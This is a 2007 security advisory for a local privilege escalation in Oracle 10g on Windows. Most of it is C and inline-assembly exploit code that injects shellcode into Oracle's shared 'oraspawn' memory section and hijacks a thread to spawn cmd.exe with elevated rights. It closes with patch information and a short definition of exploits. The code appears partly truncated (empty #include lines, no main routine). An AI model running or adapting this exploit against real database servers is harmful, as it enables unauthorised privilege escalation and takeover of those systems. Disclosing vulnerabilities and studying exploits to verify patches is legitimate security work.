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Local Privilege Escalation in Oracle 10g R2
Name
Local Privilege Escalation in Oracle 10g R2
Systems Affected
Oracle 10g R1/R2
Severity
Low Risk
Category
Privilege Escalation
Credit
Cesar Cerrudo
URL
http://www.milw0rm.com/exploits/3451
Date
25 Mar 2007 (V 1.00)
Details
The following exploit code allows local privilege escalation on Windows. To run this exploit you must have a local shell on the database server.
Example
#include
#include
BOOL InjectShellcode(DWORD oldEIP,CHAR * oSID)
{
HMODULE hKernel;
FARPROC pCreateProc;
LPSTR sCommand="cmd.exe";
DWORD dwStrLen;
CHAR buff[100];
dwStrLen=strlen(sCommand);
hKernel=LoadLibrary("Kernel32.dll");
pCreateProc=GetProcAddress(hKernel,"CreateProcessA");
strcpy(buff, "Global\\*oraspawn_buffer_");
strncat(buff, oSID,50);
strcat(buff, "*");
HANDLE hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,buff);
if (hMapFile == NULL) {
printf("Could not open Shared Section\n\n");
return FALSE;
}
else
printf("Shared Section opened\n");
LPVOID lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
printf("Inserting shellcode...\n");
CHAR sWinSta[]="WinSta0\\Default";
//copy shellcode
_asm {
pushad
lea esi, Shellcode
mov edi, lpMapAddress
add edi, 0x500
lea ecx, End
sub ecx, esi
push esi
push edi
cld
rep movsb
pop edi
pop esi
push edi
lea ecx, CommandBuf
sub ecx, esi
add edi, ecx
mov esi, sCommand
mov ecx, dwStrLen
rep movsb
mov [edi], 0x00
pop edi
mov esi, pCreateProc
mov [edi+0x0a], esi
mov esi, oldEIP
mov [edi+0x0e], esi
add edi, 0x2f0
lea esi, sWinSta
mov ecx, 0xf
cld
rep movsb
jmp Done
Shellcode:
jmp Start
// this gets overwritten
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff
CommandBuf: // this gets overwritten
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
Start:
call getDelta
getDelta:
pop edx // Get shellcode/shared section pointer
pushad
mov eax, edx
add eax, 0x200
push eax //LPPROCESS_INFORMATION
add eax, 0x200
mov ebx, edx
xor bl, bl
lea ecx, [ebx+0x2f0]
lea ebx, [eax+0x8]
mov [ebx], ecx //set windows station and desktop
push eax //LPSTARTUPINFO
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
lea eax, [edx-0x47]
push eax // Command offset
push 0x0
call [edx-0x4f] // Call create process
popad
push [edx-0x4b] // old thread EIP
ret
End:
Patch Information
Apply the patches mentioned in Oracle Critical Patch Update July 2006.
ゥ 2007 by Red-Database-Security GmbH - 25-mar-2007
Definition Exploit
An exploit is a common term in the computer security to refer to a piece of software that take advantage of a bug or vulnerability leading to a privilege escalation or d.o.s. on a computer system.
Computer security experts are using exploit code to test if a patch is working properly.